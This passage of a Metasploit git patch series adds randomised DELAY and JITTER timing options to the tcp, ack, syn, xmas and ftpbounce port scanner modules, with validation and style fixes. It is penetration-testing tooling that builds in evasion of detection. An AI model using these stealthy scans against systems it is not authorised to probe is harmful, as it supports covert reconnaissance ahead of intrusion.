From d5e433df87775ac783e110a1e9383d40aef70318 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 14:23:33 +0000 Subject: [PATCH 01/37] Removed THREADS option because it isn't used, and added DELAY and JITTER options --- modules/auxiliary/scanner/portscan/tcp.rb | 33 +++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 299c1210af..525fe9b6d8 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -27,9 +27,12 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The percentage delay jitter factor (maximum factor by which to modify DELAY).", 0]), ], self.class) deregister_options('RPORT') + deregister_options('THREADS') #This isn't used end @@ -44,6 +47,10 @@ class Metasploit3 < Msf::Auxiliary raise Msf::OptionValidateError.new(['PORTS']) end + if jitter_value<0 + raise Msf::OptionValidateError.new(['JITTER']) + end + while(ports.length > 0) t = [] r = [] @@ -53,6 +60,32 @@ class Metasploit3 < Msf::Auxiliary break if not this_port t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port| begin + + # Introduce the delay + jitter_value = datastore['JITTER'].to_i + delay_value = datastore['DELAY'].to_i + delay_proportion = jitter_value * (delay_value/100) + + # Retrieve the jitter value and delay value + # Delay = number of milliseconds to wait between each request + # Jitter = percentage modifier. For example: + # Delay is 1000ms (i.e. 1 second), Jitter is 50. + # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request + # delay will be 1000 +/- a maximum of 500ms. + if delay_value>0 + if delay_proportion>0 + rnd = Random.new + delay_modifier = rnd.rand(delay_proportion) + if (rnd.rand(1)) + delay_value += delay_modifier + else + delay_value -= delay_modifier + end + end + vprint_status("Delaying for #{delay_value}ms") + sleep delay_value/1000 + end + s = connect(false, { 'RPORT' => port, From ba13b88aada4308aa9167b9412c3173bc4655c57 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 14:25:30 +0000 Subject: [PATCH 02/37] Apparently rand(2) will give you 0 and 1....rand(1) exclusively gives 0. Must read the man pages more.... --- modules/auxiliary/scanner/portscan/tcp.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 525fe9b6d8..fdb228ead8 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Auxiliary raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i if jitter_value<0 raise Msf::OptionValidateError.new(['JITTER']) end @@ -62,7 +63,6 @@ class Metasploit3 < Msf::Auxiliary begin # Introduce the delay - jitter_value = datastore['JITTER'].to_i delay_value = datastore['DELAY'].to_i delay_proportion = jitter_value * (delay_value/100) @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary if delay_proportion>0 rnd = Random.new delay_modifier = rnd.rand(delay_proportion) - if (rnd.rand(1)) + if (rnd.rand(2)) delay_value += delay_modifier else delay_value -= delay_modifier From 734cb128e0392cb9e2cee0f5e74e37e5b265594c Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 14:57:47 +0000 Subject: [PATCH 03/37] Changed jitter to be absolute, not relative, and put threads option back in --- modules/auxiliary/scanner/portscan/tcp.rb | 82 ++++++++++++++++------- 1 file changed, 57 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index fdb228ead8..31991807a3 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -28,15 +28,44 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), - OptInt.new('JITTER', [true, "The percentage delay jitter factor (maximum factor by which to modify DELAY).", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY).", 0]), ], self.class) deregister_options('RPORT') - deregister_options('THREADS') #This isn't used end +def add_delay_jitter(_delay, _jitter) + # Introduce the delay + delay_value = _delay.to_i + original_value = _delay.to_i + jitter_value = _jitter.to_i + + # Retrieve the jitter value and delay value + # Delay = number of milliseconds to wait between each request + # Jitter = percentage modifier. For example: + # Delay is 1000ms (i.e. 1 second), Jitter is 50. + # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request + # delay will be 1000 +/- a maximum of 500ms. + if delay_value>0 + if jitter_value>0 + rnd = Random.new + if (rnd.rand(2)==0) + delay_value += rnd.rand(jitter_value) + else + delay_value -= rnd.rand(jitter_value) + end + if delay_value<0 + delay_value = 0 + end + end + final_delay = delay_value.to_f/1000.0 + vprint_status("Delaying for #{final_delay} second(s) (#{original_value}ms +/- #{jitter_value}ms)") + sleep final_delay + end +end + def run_host(ip) timeout = datastore['TIMEOUT'].to_i @@ -62,29 +91,32 @@ class Metasploit3 < Msf::Auxiliary t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port| begin - # Introduce the delay - delay_value = datastore['DELAY'].to_i - delay_proportion = jitter_value * (delay_value/100) - - # Retrieve the jitter value and delay value - # Delay = number of milliseconds to wait between each request - # Jitter = percentage modifier. For example: - # Delay is 1000ms (i.e. 1 second), Jitter is 50. - # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request - # delay will be 1000 +/- a maximum of 500ms. - if delay_value>0 - if delay_proportion>0 - rnd = Random.new - delay_modifier = rnd.rand(delay_proportion) - if (rnd.rand(2)) - delay_value += delay_modifier - else - delay_value -= delay_modifier - end - end - vprint_status("Delaying for #{delay_value}ms") - sleep delay_value/1000 - end + add_delay_jitter(datastore['DELAY'],jitter_value) + # add_delay_jitter(datastore['DELAY'].to_i,jitter_value) +# # Introduce the delay +# delay_value = datastore['DELAY'].to_i +# delay_proportion = jitter_value * (delay_value/100) +# +# # Retrieve the jitter value and delay value +# # Delay = number of milliseconds to wait between each request +# # Jitter = percentage modifier. For example: +# # Delay is 1000ms (i.e. 1 second), Jitter is 50. +# # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request +# # delay will be 1000 +/- a maximum of 500ms. +# if delay_value>0 +# if delay_proportion>0 +# rnd = Random.new +# delay_modifier = rnd.rand(delay_proportion) +# if (rnd.rand(2)==0) +# delay_value += delay_modifier +# else +# delay_value -= delay_modifier +# end +# end +# final_delay = delay_value.to_f/1000.0 +# vprint_status("Delaying for #{final_delay}s") +# sleep final_delay +# end s = connect(false, { From cc770ab120604c27b41786175d6baa932501a904 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 14:59:33 +0000 Subject: [PATCH 04/37] Removed unneeded comments --- modules/auxiliary/scanner/portscan/tcp.rb | 27 ++--------------------- 1 file changed, 2 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 31991807a3..04455fb08f 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -91,33 +91,10 @@ end t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port| begin + # Add the delay based on JITTER and DELAY if needs be add_delay_jitter(datastore['DELAY'],jitter_value) - # add_delay_jitter(datastore['DELAY'].to_i,jitter_value) -# # Introduce the delay -# delay_value = datastore['DELAY'].to_i -# delay_proportion = jitter_value * (delay_value/100) -# -# # Retrieve the jitter value and delay value -# # Delay = number of milliseconds to wait between each request -# # Jitter = percentage modifier. For example: -# # Delay is 1000ms (i.e. 1 second), Jitter is 50. -# # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request -# # delay will be 1000 +/- a maximum of 500ms. -# if delay_value>0 -# if delay_proportion>0 -# rnd = Random.new -# delay_modifier = rnd.rand(delay_proportion) -# if (rnd.rand(2)==0) -# delay_value += delay_modifier -# else -# delay_value -= delay_modifier -# end -# end -# final_delay = delay_value.to_f/1000.0 -# vprint_status("Delaying for #{final_delay}s") -# sleep final_delay -# end + # Actually perform the TCP connection s = connect(false, { 'RPORT' => port, From d645052391a17e5e942cb51fced2f59cbc4dacc9 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:02:31 +0000 Subject: [PATCH 05/37] Moved the 'add_delay_jitter' function to scanner.rb so that all modules can benefit from it if needed --- lib/msf/core/auxiliary/scanner.rb | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index ac4991cbf0..3a802839a4 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -299,6 +299,36 @@ def scanner_show_progress end end +def add_delay_jitter(_delay, _jitter) + # Introduce the delay + delay_value = _delay.to_i + original_value = delay_value + jitter_value = _jitter.to_i + + # Retrieve the jitter value and delay value + # Delay = number of milliseconds to wait between each request + # Jitter = percentage modifier. For example: + # Delay is 1000ms (i.e. 1 second), Jitter is 50. + # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request + # delay will be 1000 +/- a maximum of 500ms. + if delay_value>0 + if jitter_value>0 + rnd = Random.new + if (rnd.rand(2)==0) + delay_value += rnd.rand(jitter_value) + else + delay_value -= rnd.rand(jitter_value) + end + if delay_value<0 + delay_value = 0 + end + end + final_delay = delay_value.to_f/1000.0 + vprint_status("Delaying for #{final_delay} second(s) (#{original_value}ms +/- #{jitter_value}ms)") + sleep final_delay + end +end + end end From 0e96a712328d4cc5ff168acf31fe575a0485baac Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:12:40 +0000 Subject: [PATCH 06/37] Update --- modules/auxiliary/scanner/portscan/tcp.rb | 43 ++++++----------------- 1 file changed, 11 insertions(+), 32 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 04455fb08f..3dae12641c 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -17,6 +17,11 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'TCP Port Scanner', + 'Description' => %q{ + Enumerate open TCP services by performing a full TCP connect on each port. + This does not need administrative privileges on the source machine, which + may be useful if pivoting. + }, 'Description' => 'Enumerate open TCP services', 'Author' => [ 'hdm', 'kris katterjohn' ], 'License' => MSF_LICENSE @@ -35,37 +40,6 @@ class Metasploit3 < Msf::Auxiliary end - -def add_delay_jitter(_delay, _jitter) - # Introduce the delay - delay_value = _delay.to_i - original_value = _delay.to_i - jitter_value = _jitter.to_i - - # Retrieve the jitter value and delay value - # Delay = number of milliseconds to wait between each request - # Jitter = percentage modifier. For example: - # Delay is 1000ms (i.e. 1 second), Jitter is 50. - # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request - # delay will be 1000 +/- a maximum of 500ms. - if delay_value>0 - if jitter_value>0 - rnd = Random.new - if (rnd.rand(2)==0) - delay_value += rnd.rand(jitter_value) - else - delay_value -= rnd.rand(jitter_value) - end - if delay_value<0 - delay_value = 0 - end - end - final_delay = delay_value.to_f/1000.0 - vprint_status("Delaying for #{final_delay} second(s) (#{original_value}ms +/- #{jitter_value}ms)") - sleep final_delay - end -end - def run_host(ip) timeout = datastore['TIMEOUT'].to_i @@ -81,6 +55,11 @@ end raise Msf::OptionValidateError.new(['JITTER']) end + delay_value = datastore['DELAY'].to_i + if delay_value<0 + raise Msf::OptionValidateError.new(['DELAY']) + end + while(ports.length > 0) t = [] r = [] @@ -92,7 +71,7 @@ end begin # Add the delay based on JITTER and DELAY if needs be - add_delay_jitter(datastore['DELAY'],jitter_value) + add_delay_jitter(delay_value,jitter_value) # Actually perform the TCP connection s = connect(false, From efa2f5aa1c6a0c4c4a9f038202cfc585b9520ace Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:14:22 +0000 Subject: [PATCH 07/37] Added delay/jitter feature to ACK scan --- modules/auxiliary/scanner/portscan/ack.rb | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index e020120a0e..74ff2ba4e9 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -27,6 +27,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY).", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) ], self.class) @@ -43,16 +45,26 @@ class Metasploit3 < Msf::Auxiliary end def run_batch(hosts) - open_pcap - - pcap = self.capture ports = Rex::Socket.portspec_crack(datastore['PORTS']) - if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value<0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value<0 + raise Msf::OptionValidateError.new(['DELAY']) + end + + open_pcap + + pcap = self.capture + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 # we copy the hosts because some may not be reachable and need to be ejected @@ -64,6 +76,9 @@ class Metasploit3 < Msf::Auxiliary pcap.setfilter(getfilter(shost, sport, dhost, dport)) + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + begin probe = buildprobe(shost, sport, dhost, dport) From 33563129c1941d9b2d749944dde5318eae023b19 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:22:41 +0000 Subject: [PATCH 08/37] Added delay/jitter to ACK --- modules/auxiliary/scanner/portscan/ack.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index 74ff2ba4e9..8345d0334a 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]), OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), - OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY).", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) ], self.class) From 40d3ebbc949ccb9597aaf34767fc430699d2b2a9 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:22:52 +0000 Subject: [PATCH 09/37] Added delay/jitter to ftpbounce scan --- .../auxiliary/scanner/portscan/ftpbounce.rb | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb index d84256ff30..bfcde177c0 100644 --- a/modules/auxiliary/scanner/portscan/ftpbounce.rb +++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb @@ -27,6 +27,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptAddress.new('BOUNCEHOST', [true, "FTP relay host"]), OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21]) + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), ]) deregister_options('RHOST', 'RPORT') @@ -47,11 +49,20 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) ports = Rex::Socket.portspec_crack(datastore['PORTS']) - if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value<0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value<0 + raise Msf::OptionValidateError.new(['DELAY']) + end + return if not connect_login ports.each do |port| @@ -64,8 +75,11 @@ class Metasploit3 < Msf::Auxiliary end begin - host = (ip.split('.') + [port / 256, port % 256]).join(',') + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + + host = (ip.split('.') + [port / 256, port % 256]).join(',') resp = send_cmd(["PORT", host]) if resp =~ /^5/ From a46031a85c1dcad2b12ee9e23252d5337eff6475 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:23:00 +0000 Subject: [PATCH 10/37] Added delay/jitter to syn scan --- modules/auxiliary/scanner/portscan/syn.rb | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb index b59ee5c028..9dba994fae 100644 --- a/modules/auxiliary/scanner/portscan/syn.rb +++ b/modules/auxiliary/scanner/portscan/syn.rb @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) ], self.class) @@ -41,16 +43,24 @@ class Metasploit3 < Msf::Auxiliary end def run_batch(hosts) - open_pcap - - pcap = self.capture - ports = Rex::Socket.portspec_crack(datastore['PORTS']) - if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value<0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value<0 + raise Msf::OptionValidateError.new(['DELAY']) + end + + open_pcap + pcap = self.capture + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 # we copy the hosts because some may not be reachable and need to be ejected @@ -62,6 +72,9 @@ class Metasploit3 < Msf::Auxiliary self.capture.setfilter(getfilter(shost, sport, dhost, dport)) + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + begin probe = buildprobe(shost, sport, dhost, dport) From 5965867fdcd5aca20a316ed30d0bb53b2e34eb03 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:23:31 +0000 Subject: [PATCH 11/37] Added 'milliseconds' unit description to JITTER parameter for clarity --- modules/auxiliary/scanner/portscan/tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 3dae12641c..d052c0da18 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), - OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY).", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), ], self.class) deregister_options('RPORT') From 61ad1a60f5dcdebf8f577ed2c3301562db062a6e Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:27:13 +0000 Subject: [PATCH 12/37] Removed EOL spaces (msftidy) --- lib/msf/core/auxiliary/scanner.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index 3a802839a4..df12fdb89f 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -304,13 +304,13 @@ def add_delay_jitter(_delay, _jitter) delay_value = _delay.to_i original_value = delay_value jitter_value = _jitter.to_i - - # Retrieve the jitter value and delay value + + # Retrieve the jitter value and delay value # Delay = number of milliseconds to wait between each request # Jitter = percentage modifier. For example: # Delay is 1000ms (i.e. 1 second), Jitter is 50. # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request - # delay will be 1000 +/- a maximum of 500ms. + # delay will be 1000 +/- a maximum of 500ms. if delay_value>0 if jitter_value>0 rnd = Random.new @@ -318,15 +318,15 @@ def add_delay_jitter(_delay, _jitter) delay_value += rnd.rand(jitter_value) else delay_value -= rnd.rand(jitter_value) - end + end if delay_value<0 - delay_value = 0 - end - end + delay_value = 0 + end + end final_delay = delay_value.to_f/1000.0 vprint_status("Delaying for #{final_delay} second(s) (#{original_value}ms +/- #{jitter_value}ms)") sleep final_delay - end + end end end From 0cb18004ec4925660b71ad6a2944d0d4c46b6374 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:28:56 +0000 Subject: [PATCH 13/37] Rubocop --- lib/msf/core/auxiliary/scanner.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index df12fdb89f..972032632c 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -311,19 +311,19 @@ def add_delay_jitter(_delay, _jitter) # Delay is 1000ms (i.e. 1 second), Jitter is 50. # 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request # delay will be 1000 +/- a maximum of 500ms. - if delay_value>0 - if jitter_value>0 + if delay_value > 0 + if jitter_value > 0 rnd = Random.new - if (rnd.rand(2)==0) + if (rnd.rand(2) == 0) delay_value += rnd.rand(jitter_value) else delay_value -= rnd.rand(jitter_value) end - if delay_value<0 + if delay_value < 0 delay_value = 0 end end - final_delay = delay_value.to_f/1000.0 + final_delay = delay_value.to_f / 1000.0 vprint_status("Delaying for #{final_delay} second(s) (#{original_value}ms +/- #{jitter_value}ms)") sleep final_delay end From 12561e5cf93eaec44d3f23111dea025a6391a306 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:32:47 +0000 Subject: [PATCH 14/37] Add delay/jitter to xmas scan --- modules/auxiliary/scanner/portscan/xmas.rb | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb index 8f64a84695..dd6b4055ad 100644 --- a/modules/auxiliary/scanner/portscan/xmas.rb +++ b/modules/auxiliary/scanner/portscan/xmas.rb @@ -27,6 +27,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]), OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]), + OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) ], self.class) @@ -48,11 +50,20 @@ class Metasploit3 < Msf::Auxiliary pcap = self.capture ports = Rex::Socket.portspec_crack(datastore['PORTS']) - if ports.empty? raise Msf::OptionValidateError.new(['PORTS']) end + jitter_value = datastore['JITTER'].to_i + if jitter_value < 0 + raise Msf::OptionValidateError.new(['JITTER']) + end + + delay_value = datastore['DELAY'].to_i + if delay_value < 0 + raise Msf::OptionValidateError.new(['DELAY']) + end + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 # we copy the hosts because some may not be reachable and need to be ejected @@ -67,6 +78,9 @@ class Metasploit3 < Msf::Auxiliary begin probe = buildprobe(shost, sport, dhost, dport) + # Add the delay based on JITTER and DELAY if needs be + add_delay_jitter(delay_value,jitter_value) + unless capture_sendto(probe, dhost) host_queue.delete(dhost) next From 28202745ab2bc4455686face82fb296a1aaf0926 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 15:33:04 +0000 Subject: [PATCH 15/37] Removed EOL spaces (msftidy) --- modules/auxiliary/scanner/portscan/ack.rb | 6 +++--- modules/auxiliary/scanner/portscan/ftpbounce.rb | 6 +++--- modules/auxiliary/scanner/portscan/syn.rb | 6 +++--- modules/auxiliary/scanner/portscan/tcp.rb | 8 ++++---- 4 files changed, 13 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index 8345d0334a..059d56460f 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -52,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary end jitter_value = datastore['JITTER'].to_i - if jitter_value<0 + if jitter_value < 0 raise Msf::OptionValidateError.new(['JITTER']) - end + end delay_value = datastore['DELAY'].to_i - if delay_value<0 + if delay_value < 0 raise Msf::OptionValidateError.new(['DELAY']) end diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb index bfcde177c0..1afbaa4c89 100644 --- a/modules/auxiliary/scanner/portscan/ftpbounce.rb +++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb @@ -54,12 +54,12 @@ class Metasploit3 < Msf::Auxiliary end jitter_value = datastore['JITTER'].to_i - if jitter_value<0 + if jitter_value < 0 raise Msf::OptionValidateError.new(['JITTER']) - end + end delay_value = datastore['DELAY'].to_i - if delay_value<0 + if delay_value < 0 raise Msf::OptionValidateError.new(['DELAY']) end diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb index 9dba994fae..dd00d7d606 100644 --- a/modules/auxiliary/scanner/portscan/syn.rb +++ b/modules/auxiliary/scanner/portscan/syn.rb @@ -49,12 +49,12 @@ class Metasploit3 < Msf::Auxiliary end jitter_value = datastore['JITTER'].to_i - if jitter_value<0 + if jitter_value < 0 raise Msf::OptionValidateError.new(['JITTER']) - end + end delay_value = datastore['DELAY'].to_i - if delay_value<0 + if delay_value < 0 raise Msf::OptionValidateError.new(['DELAY']) end diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index d052c0da18..ed89b898d4 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -17,8 +17,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'TCP Port Scanner', - 'Description' => %q{ - Enumerate open TCP services by performing a full TCP connect on each port. + 'Description' => %q{ + Enumerate open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting. }, @@ -51,12 +51,12 @@ class Metasploit3 < Msf::Auxiliary end jitter_value = datastore['JITTER'].to_i - if jitter_value<0 + if jitter_value < 0 raise Msf::OptionValidateError.new(['JITTER']) end delay_value = datastore['DELAY'].to_i - if delay_value<0 + if delay_value < 0 raise Msf::OptionValidateError.new(['DELAY']) end From 1101edbcd366aa029c13179f217cc1bd01e6a6c0 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sat, 5 Dec 2015 16:24:10 +0000 Subject: [PATCH 16/37] argh, forgot the comma! --- modules/auxiliary/scanner/portscan/ftpbounce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb index 1afbaa4c89..4d7cef833b 100644 --- a/modules/auxiliary/scanner/portscan/ftpbounce.rb +++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb @@ -26,9 +26,9 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]), OptAddress.new('BOUNCEHOST', [true, "FTP relay host"]), - OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21]) + OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21]), OptInt.new('DELAY', [true, "The delay between 